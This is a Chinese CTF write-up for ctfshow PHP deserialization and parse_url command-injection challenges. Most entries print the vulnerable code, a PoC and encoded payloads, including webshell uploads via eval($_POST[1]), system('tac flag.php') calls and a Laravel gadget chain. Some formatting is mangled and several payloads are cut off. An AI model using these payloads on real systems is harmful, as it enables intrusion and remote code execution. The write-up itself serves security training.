a%22 ctfShowUser%22 %3 a3%3 a%7 bs%3 a8%3 a%27 username%27 %3 bs%3 a6%3 a%27 xxxxxx%27 %3 bs%3 a8%3 a%27 password%27 %3 bs%3 a6%3 a%27 xxxxxx%27 %3 bs%3 a5%3 a%22 isVip%22 %3 bb%3 a1%3 b%7 d payload2: GET部分:?username=xxxxxx&password=xxxxxx COOKIE部分:user=O:11 :"ctfShowUser" :1 :{s:5 :"isVip" ;b:1 ;} ->user=O%3 A11%3 A%22 ctfShowUser%22 %3 A1%3 A%7 Bs%3 A5%3 A%22 isVip%22 %3 Bb%3 A1%3 B%7 D
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfShowUser { private $username ='xxxxxx' ; private $password ='xxxxxx' ; private $isVip =false ; private $class = 'info' ; public function __construct ( ) { $this ->class =new info (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class info { private $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } }class backDoor { private $code ; public function getInfo ( ) { eval ($this ->code); } }$username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); $user ->login ($username ,$password ); } 解题思路: 序列化ctfShowUser类和backDoor类,修改'$isVip' 的值为true ,修改'$code' 的值为系统命令; PoC:<?php class ctfShowUser { private $username = 'xxxxxx' ; private $password = 'xxxxxx' ; private $isVip = true ; private $class = 'backDoor' ; public function __construct ( ) { $this ->class = new backDoor (); } public function login ($u ,$p ) { return $this ->username === $u &&$this ->password === $p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class backDoor { private $code = 'system("tac flag.php");' ; public function getInfo ( ) { eval ($this ->code); } }$p = new ctfShowUser ();$a = serialize ($p );echo urlencode ($a );?> payload: GET部分:?username=xxxxxx&password=xxxxxx COOKIE部分:user=O%3 A11%3 A%22 ctfShowUser%22 %3 A4%3 A%7 Bs%3 A21%3 A%22 %00 ctfShowUser%00 username%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A21%3 A%22 %00 ctfShowUser%00 password%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A18%3 A%22 %00 ctfShowUser%00 isVip%22 %3 Bb%3 A1%3 Bs%3 A18%3 A%22 %00 ctfShowUser%00 class %22 %3 BO%3 A8%3 A%22 backDoor%22 %3 A1%3 A%7 Bs%3 A14%3 A%22 %00 backDoor%00 code%22 %3 Bs%3 A23%3 A%22 system%28 %22 tac+flag.php%22 %29 %3 B%22 %3 B%7 D%7 D
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfShowUser { public $username = 'xxxxxx' ; public $password = 'xxxxxx' ; public $isVip = false ; public $class = 'info' ; public function __construct ( ) { $this ->class =new info (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class info { public $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } }class backDoor { public $code ; public function getInfo ( ) { eval ($this ->code); } }$username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ if (!preg_match ('/[oc]:\d+:/i' , $_COOKIE ['user' ])){ $user = unserialize ($_COOKIE ['user' ]); } $user ->login ($username ,$password ); } 解题思路:增加了过滤,需要在序列化字符串的类名长度前添加'+' ,同时'$code' 中不能出现d以后的字母; PoC(注意绕过!):<?php class ctfShowUser { private $username ='xxxxxx' ; private $password ='xxxxxx' ; private $isVip =true ; private $class = 'backDoor' ; public function __construct ( ) { $this ->class =new backDoor (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class backDoor { private $code = 'system("tac f*");' ; public function getInfo ( ) { eval ($this ->code); } }$p =new ctfShowUser ();$a =serialize ($p );echo urlencode ($a );?> payload: GET部分:?username=xxxxxx&password=xxxxxx COOKIE部分:user=O%3 a%2 b11%3 a%22 ctfShowUser%22 %3 a4%3 a%7 bs%3 a8%3 a%22 username%22 %3 bs%3 a6%3 a%22 xxxxxx%22 %3 bs%3 a8%3 a%22 password%22 %3 bs%3 a6%3 a%22 xxxxxx%22 %3 bs%3 a5%3 a%22 isVip%22 %3 bb%3 a1%3 bs%3 a5%3 a%22 class %22 %3 bO%3 a%2 b8%3 a%22 backDoor%22 %3 a1%3 a%7 bs%3 a4%3 a%22 code%22 %3 bs%3 a17%3 a%22 system(%22 tac+f*%22 )%3 b%22 %3 b%7 d%7 d
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <?php highlight_file (__FILE__ );class ctfshowvip { public $username ; public $password ; public $code ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function __wakeup ( ) { if ($this ->username!='' || $this ->password!='' ){ die ('error' ); } } public function __invoke ( ) { eval ($this ->code); } public function __sleep ( ) { $this ->username='' ; $this ->password='' ; } public function __unserialize ($data ) { $this ->username=$data ['username' ]; $this ->password=$data ['password' ]; $this ->code = $this ->username.$this ->password; } public function __destruct ( ) { if ($this ->code==0x36d ){ file_put_contents ($this ->username, $this ->password); } } }unserialize ($_GET ['vip' ]); 解题思路: 1 . 在PHP7.4 以上版本中,当__unserialize ()存在时,反序列化会绕过__wakeup ()函数; 2 . 在destruct ()函数中存在file_put_contents ()函数,可以写入文件并上传一句话木马; 3 . $this ->code==0x36d 是弱类型比较,'0x36d' 没有打引号,所以代表数字,且数字是877 ,那么'877a' ,'877.php' 等可以满足比较;所以设置$username ='877.php' 来满足比较; PoC:<?php class ctfshowvip { public $username = '877.php' ; public $password = '<?php eval($_POST[1]);?>' ; public $code = 0x36d ; public function __invoke ( ) { eval ($this ->code); } public function __destruct ( ) { if ($this ->code==0x36d ){ file_put_contents ($this ->username, $this ->password); } } }$p =new ctfshowvip ();echo serialize ($p );?> payload: GET部分: ?vip=O:10 :"ctfshowvip" :3 :{s:8 :"username" ;s:7 :"877.php" ;s:8 :"password" ;s:24 :"<?php eval($_POST [1]);?>" ;s:4 :"code" ;i:877 ;} 反序列化触发后,访问url/877 .php POST部分: 1 =system ('ls' ); 1 =system ('tac /flag_is_here' );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php highlight_file (__FILE__ );include ('flag.php' );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } }if (isset ($_COOKIE ['msg' ])){ $msg = unserialize (base64_decode ($_COOKIE ['msg' ])); if ($msg ->token=='admin' ){ echo $flag ; } } 考点:字符串逃逸 payload1: ?f=1 &m=3 &t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:" token";s:5:" admin";} " 构造法2 :<?php class message { public $from ; public $msg ; public $to ; public $token ='admin' ; }$p =new message ();echo base64_encode (serialize ($p ));?> payload2: GET部分:message.php COOKIE部分:msg=Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 本题涉及代码审计,代码文件多且代码量较大,故仅放上部分关键代码; 解题思路: 0 . 访问url/www.zip下载网页源代码; 1 . inc.php设置了session的序列化引擎为php,很有可能说明默认使用的是php_serialize ini_set ('session.serialize_handler' , 'php' ); 2 . index.php中的$_SESSION ['limit' ]可控: if (isset ($_SESSION ['limit' ])){ $_SESSION ['limit' ]>5 ?die ("登陆失败次数超过限制" ):$_SESSION ['limit' ]=base64_decode ($_COOKIE ['limit' ]); $_COOKIE ['limit' ] = base64_encode (base64_decode ($_COOKIE ['limit' ]) +1 ); }else { setcookie ("limit" ,base64_encode ('1' )); $_SESSION ['limit' ]= 1 ; } 3 . inc.php存在User类,开放了文件写入,并且参数'username' 、'password' 可控,考虑使用文件包含getshell: class User { public $username ; public $password ; public $status ; function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function setStatus ($s ) { $this ->status=$s ; } function __destruct ( ) { file_put_contents ("log-" .$this ->username, "使用" .$this ->password."登陆" .($this ->status?"成功" :"失败" )."----" .date_create ()->format ('Y-m-d H:i:s' )); } } PoC:<?php class User { public $username ; public $password ; public $status ; function __construct ( ) { $this ->username = 'c.php' ; $this ->password = '<?php eval($_POST[1])?>' ; } function setStatus ($s ) { $this ->status=$s ; } function __destruct ( ) { file_put_contents ("log-" .$this ->username, $this ->password."登陆" .($this ->status?"成功" :"失败" )."----" .date_create ()->format ('Y-m-d H:i:s' )); } } $a = new User (); $a ->setStatus ('成功' ); echo base64_encode ('|' .serialize ($a )); ?> payload: 执行PoC,构造cookie: Cookie: PHPSESSID=n3tqrvbda486ahhgkniusjq66g limit=fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiJjLnBocCI7czo4OiJwYXNzd29yZCI7czoyMzoiPD9waHAgZXZhbCgkX1BPU1RbMV0pPz4iO3M6Njoic3RhdHVzIjtzOjY6IuaIkOWKnyI7fQ== 构造完毕,先访问index.php篡改limit的值,再访问inc.php触发反序列化,将shell写入log-c.php: GET: /index.php /inc/inc.php 反序列化触发完毕,访问log-c.php传参获取flag: GET: /log-c.php POST: 1 =system ('ls' ); 1 =system ('tac flag.php' );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php error_reporting (0 );include ('flag.php' );highlight_file (__FILE__ );class ctfshowAdmin { public $token ; public $password ; public function __construct ($t ,$p ) { $this ->token=$t ; $this ->password = $p ; } public function login ( ) { return $this ->token===$this ->password; } }$ctfshow = unserialize ($_GET ['ctfshow' ]);$ctfshow ->token=md5 (mt_rand ());if ($ctfshow ->login ()){ echo $flag ; } PoC:<?php class ctfshowAdmin { public $token ; public $password ; public function __construct ($t ,$p ) { $this ->token = $t ; $this ->password = $p ; } public function login ( ) { return $this ->token === $this ->password; } }$a = new ctfshowAdmin (22 , 33 );$a ->password = &$a ->token;echo urlencode (serialize ($a ));?> payload: ?ctfshow=O%3 A12%3 A%22 ctfshowAdmin%22 %3 A2%3 A%7 Bs%3 A5%3 A%22 token%22 %3 Bi%3 A22%3 Bs%3 A8%3 A%22 password%22 %3 BR%3 A2%3 B%7 D
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php highlight_file (__FILE__ );include ('flag.php' );$cs = file_get_contents ('php://input' );class ctfshow { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function login ( ) { return $this ->username===$this ->password; } public function __toString ( ) { return $this ->username; } public function __destruct ( ) { global $flag ; echo $flag ; } }$ctfshowo =@unserialize ($cs );if (preg_match ('/ctfshow/' , $cs )){ throw new Exception ("Error $ctfshowo " ,1 ); } 解题思路: 存在关键词过滤,使用大小写绕过; payload: O:7 :"Ctfshow" :2 :{s:8 :"username" ;i:22 ;s:8 :"password" ;i:33 ;} **注:由于hackbar传入数据必须配合变量名,不能单独传入值,需要使用burpsuite进行POST传入**
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php error_reporting (0 ); highlight_file (__FILE__ ); class ctfshow { private $d = '' ; private $s = '' ; private $b = '' ; private $ctf = '' ; public function __destruct ( ) { $this ->d = (string )$this ->d; $this ->s = (string )$this ->s; $this ->b = (string )$this ->b; if (($this ->d != $this ->s) && ($this ->d != $this ->b) && ($this ->s != $this ->b)) { $dsb = $this ->d.$this ->s.$this ->b; if ((strlen ($dsb ) <= 3 ) && (strlen ($this ->ctf) <= 3 )) { if (($dsb !== $this ->ctf) && ($this ->ctf !== $dsb )) { if (md5 ($dsb ) === md5 ($this ->ctf)) { echo file_get_contents ("/flag.txt" ); } } } } } } unserialize ($_GET ["dsbctf" ]); 考点:代码审计、特殊浮点数常量、PHP反序列化 解题思路: 使用PHP中的特殊浮点数常量'NAN' 和'INF' 来构造payload; 类型不相等、长度均为3 ,满足最后三个if 判断; 由于在第一个判断条件中要求变量'$dsb' 的三个字符互不相等,因此只能取'INF' 来构造payload; PoC:<?php class ctfshow { private $d = 'I' ; private $s = 'N' ; private $b = 'F' ; private $ctf = INF; }$p = new ctfshow ();echo urlencode (serialize ($p ));?> payload: ?dsbctf=O%3 A7%3 A%22 ctfshow%22 %3 A4%3 A%7 Bs%3 A10%3 A%22 %00 ctfshow%00 d%22 %3 Bs%3 A1%3 A%22 I%22 %3 Bs%3 A10%3 A%22 %00 ctfshow%00 s%22 %3 Bs%3 A1%3 A%22 N%22 %3 Bs%3 A10%3 A%22 %00 ctfshow%00 b%22 %3 Bs%3 A1%3 A%22 F%22 %3 Bs%3 A12%3 A%22 %00 ctfshow%00 ctf%22 %3 Bd%3 AINF%3 B%7 D
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <?php define ('LARAVEL_START' , microtime (true ));require __DIR__ . '/../vendor/autoload.php' ;$app = require_once __DIR__ . '/../bootstrap/app.php' ;$kernel = $app ->make (Illuminate\Contracts\Http\Kernel ::class );$response = $kernel ->handle ( $request = Illuminate\Http\Request ::capture () ); @unserialize ($_POST ['data' ]);highlight_file (__FILE__ );$kernel ->terminate ($request , $response ); 考点:Laravel反序列化漏洞 payload: data=O%3 A44%3 A%22 Illuminate%5 CFoundation%5 CTesting%5 CPendingCommand%22 %3 A4%3 A%7 Bs%3 A10%3 A%22 %00 %2 A%00 command%22 %3 Bs%3 A6%3 A%22 system%22 %3 Bs%3 A13%3 A%22 %00 %2 A%00 parameters%22 %3 Ba%3 A1%3 A%7 Bi%3 A0%3 Bs%3 A9%3 A%22 cat+%2 Fflag%22 %3 B%7 Ds%3 A6%3 A%22 %00 %2 A%00 app%22 %3 BO%3 A33%3 A%22 Illuminate%5 CFoundation%5 CApplication%22 %3 A2%3 A%7 Bs%3 A22%3 A%22 %00 %2 A%00 hasBeenBootstrapped%22 %3 Bb%3 A0%3 Bs%3 A11%3 A%22 %00 %2 A%00 bindings%22 %3 Ba%3 A1%3 A%7 Bs%3 A35%3 A%22 Illuminate%5 CContracts%5 CConsole%5 CKernel%22 %3 Ba%3 A1%3 A%7 Bs%3 A8%3 A%22 concrete%22 %3 Bs%3 A33%3 A%22 Illuminate%5 CFoundation%5 CApplication%22 %3 B%7 D%7 D%7 Ds%3 A4%3 A%22 test%22 %3 BO%3 A27%3 A%22 Illuminate%5 CAuth%5 CGenericUser%22 %3 A1%3 A%7 Bs%3 A13%3 A%22 %00 %2 A%00 attributes%22 %3 Ba%3 A2%3 A%7 Bs%3 A14%3 A%22 expectedOutput%22 %3 Ba%3 A1%3 A%7 Bi%3 A0%3 Bs%3 A1%3 A%221 %22 %3 B%7 Ds%3 A17%3 A%22 expectedQuestions%22 %3 Ba%3 A1%3 A%7 Bi%3 A0%3 Bs%3 A1%3 A%221 %22 %3 B%7 D%7 D%7 D%7 D
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php highlight_file (__FILE__ );class filter { public $filename ; public $filecontent ; public $evilfile =false ; public function __construct ($f ,$fn ) { $this ->filename=$f ; $this ->filecontent=$fn ; } public function checkevil ( ) { if (preg_match ('/php|\.\./i' , $this ->filename)){ $this ->evilfile=true ; } if (preg_match ('/flag/i' , $this ->filecontent)){ $this ->evilfile=true ; } return $this ->evilfile; } public function __destruct ( ) { if ($this ->evilfile){ system ('rm ' .$this ->filename); } } }if (isset ($_GET ['fn' ])){ $content = file_get_contents ('php://input' ); $f = new filter ($_GET ['fn' ], $content ); if ($f ->checkevil ()===false ){ file_put_contents ($_GET ['fn' ], $content ); copy ($_GET ['fn' ],md5 (mt_rand ()).'.txt' ); unlink ($_SERVER ['DOCUMENT_ROOT' ].'/' .$_GET ['fn' ]); echo 'work done' ; } }else { echo 'where is flag?' ; } 解题思路: 存在__destruct魔术方法,能够执行system函数; payload: ?fn =php ;ls ?fn =php ;tac flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php include "flag.php" ;highlight_file (__FILE__ );class Moon { public $name ="月亮" ; public function __toString ( ) { return $this ->name; } public function __wakeup ( ) { echo "我是" .$this ->name."快来赏我" ; } }class Ion_Fan_Princess { public $nickname ="牛夫人" ; public function call ( ) { global $flag ; if ($this ->nickname=="小甜甜" ){ echo $flag ; }else { echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家" .$this ->nickname."。\n" ; echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n" ; } } public function __toString ( ) { $this ->call (); return "\t\t\t\t\t\t\t\t\t\t----" .$this ->nickname; } }if (isset ($_GET ['code' ])){ unserialize ($_GET ['code' ]); }else { $a =new Ion_Fan_Princess (); echo $a ; } PoC:<?php class Moon { public $name ="月亮" ; }class Ion_Fan_Princess { public $nickname ="牛夫人" ; }$a = new Moon ();$a ->name = new Ion_Fan_Princess ();$a ->name->nickname = "小甜甜" ;echo serialize ($a );?> payload: ?code=O:4 :%22 Moon%22 :1 :{s:4 :%22 name%22 ;O:16 :%22 Ion_Fan_Princess%22 :1 :{s:8 :%22 nickname%22 ;s:9 :%22 %E5%B0%8 F%E7%94 %9 C%E7%94 %9 C%22 ;}}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 <?php function PassWAF1 ($data ) { $BlackList = array ("eval" , "system" , "popen" , "exec" , "assert" , "phpinfo" , "shell_exec" , "pcntl_exec" , "passthru" , "popen" , "putenv" ); foreach ($BlackList as $value ) { if (preg_match ("/" . $value . "/im" , $data )) { return true ; } } return false ; }function PassWAF2 ($str ) { $output = '' ; $count = 0 ; foreach (str_split ($str , 16 ) as $v ) { $hex_string = implode (' ' , str_split (bin2hex ($v ), 4 )); $ascii_string = '' ; foreach (str_split ($v ) as $c ) { $ascii_string .= (($c < ' ' || $c > '~' ) ? '.' : $c ); } $output .= sprintf ("%08x: %-40s %-16s\n" , $count , $hex_string , $ascii_string ); $count += 16 ; } return $output ; }function PassWAF3 ($data ) { $BlackList = array ("\.\." , "\/" ); foreach ($BlackList as $value ) { if (preg_match ("/" . $value . "/im" , $data )) { return true ; } } return false ; }function Base64Decode ($s ) { $decodeStr = base64_decode ($s ); if (is_bool ($decodeStr )) { echo "gg" ; exit (-1 ); } return $decodeStr ; }class STU { public $stu ; public function __construct ($stu ) { $this ->stu = $stu ; } public function __invoke ( ) { echo $this ->stu; } }class SDU { public $Dazhuan ; public function __wakeup ( ) { $Dazhuan = $this ->Dazhuan; $Dazhuan (); } }class CTF { public $hackman ; public $filename ; public function __toString ( ) { $data = Base64Decode ($this ->hackman); $filename = $this ->filename; if (PassWAF1 ($data )) { echo "so dirty" ; return ; } if (PassWAF3 ($filename )) { echo "just so so?" ; return ; } file_put_contents ($filename , PassWAF2 ($data )); echo "hack?" ; return "really!" ; } public function __destruct ( ) { echo "bye" ; } }$give = $_POST ['data' ];if (isset ($_POST ['data' ])) { unserialize ($give ); } else { echo "<center>听说pop挺好玩的</center>" ; highlight_file (__FILE__ ); }
防护策略
不允许用户控制unserialize()的参数;
控制传入参数,谨慎使用魔术方法;
禁用危险函数;
设置白名单过滤,即增加一层序列化和反序列化接口类;
PHPCVE 绕过姿势 特定函数绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );if (isset ($_GET ['url' ])){ $url = parse_url ($_GET ['url' ]); shell_exec ('echo ' .$url ['host' ].'> ' .$url ['path' ]); }else { highlight_file (__FILE__ ); } 解题思路: parse_url ()用于解析网址并对对应的成员变量赋值; 将host和path赋值为'`tac fl*`' 和'1.txt' ,相当于把shell写入文件,再让shell_exec ()执行; payload: ?url=http:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting (0 );if (isset ($_GET ['url' ])){ $url = parse_url ($_GET ['url' ]); if (!preg_match ('/;|>/' , $url ['host' ])){ shell_exec ('echo ' .$url ['host' ].'> /tmp/' .$url ['path' ]); } }else { highlight_file (__FILE__ ); } 解题思路: 过滤了'>' ,无法在目录写入数据; payload: ?url=http: ?url=http:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting (0 );if (isset ($_GET ['url' ])){ $url = parse_url ($_GET ['url' ]); if (!preg_match ('/;|>|http|https/i' , $url ['host' ])){ shell_exec ('echo ' .$url ['host' ].'> /tmp/' .$url ['path' ]); } }else { highlight_file (__FILE__ ); } 解题思路: 过滤了https和http协议,大小写混淆或自行替换一个即可; payload: ?url=Http: ?url=Http:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting (0 );if (isset ($_GET ['url' ])){ $url = parse_url ($_GET ['url' ]); if (preg_match ('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/' , $url ['host' ])){ shell_exec ('curl ' .$url ['scheme' ].$url ['host' ].$url ['path' ]); } }else { highlight_file (__FILE__ ); } 解题思路: 设置了域名校验,必须传入正常的地址; payload: ?url=http: ?url=http:
语法绕过 <- To be continued _(:3 ∠)__
⠀⠀⠀⠀⠀⠀⢀⡞⠹⣦⠰⡞⠙⣆⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢴⠀⠀⣿⠐⡇⠀⢻⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢸⠀⠀⣿⢸⡇⠀⢸⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⢀⡸⣄⠀⣿⣨⡇⠀⣟⡀⠀⠀⠀⠀⠀
⠀⠀⢠⡶⠚⠉⢁⡀⠀⠀⠀⠀⠀⡈⠉⠙⠲⣤⡀⠀
⢀⡶⠋⠀⢀⠔⠉⠀⠀⠀⠀⠀⠀⠈⠑⢄⠀⠈⠻⡄
⣾⠁⠀⠀⠈⠀⣠⣂⡄⠀⠀⠀⣔⣢⠀⠈⠀⠀⠀⢹
⡇⠀⠀⢠⣠⣠⡌⠓⠁⠀⡀⠀⠙⠊⡄⢀⣀⠀⠀⢸
⢷⡀⠀⠈⠁⠁⠀⠀⠈⠓⡓⠂⠀⠀⠉⠈⠁⠀⠀⡼
⠈⠳⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡞⠁
⠀⠀⢾⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⢸⠀⠀
⠀⠀⠈⢻⡄⠀⠀⠀v我50⠀⠀⠀⠀⠀⡾⠊⠁⠀
⠀⠀⠀⠘⣇⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⡀⣷⠀⠀⠀
⠀⠀⠀⠀⢿⣼⠉⠉⠙⠛⠛⠛⠛⠉⢹⣁⠟
4oCc5L2g6K+077yM5aW55L+p6IO95pCe5Ye65LuA5LmI5ZCN5aCC5p2l77yM6L+Y6IO95oqK572X5b635bKb5q+B5LqG5LiN5oiQ77yf4oCdCuKAnOayoei1hOaWmeivtOeahOmCo+S5iOWkuOW8oO+8jOWug+eahOaEj+aAneaYr+KApuKApuKAnQrmraTml7bngavnpZ7lj4jlnKjmhInlv6vlnLDmipPkv6notKrlkIPppb/niqzkuobvvIg=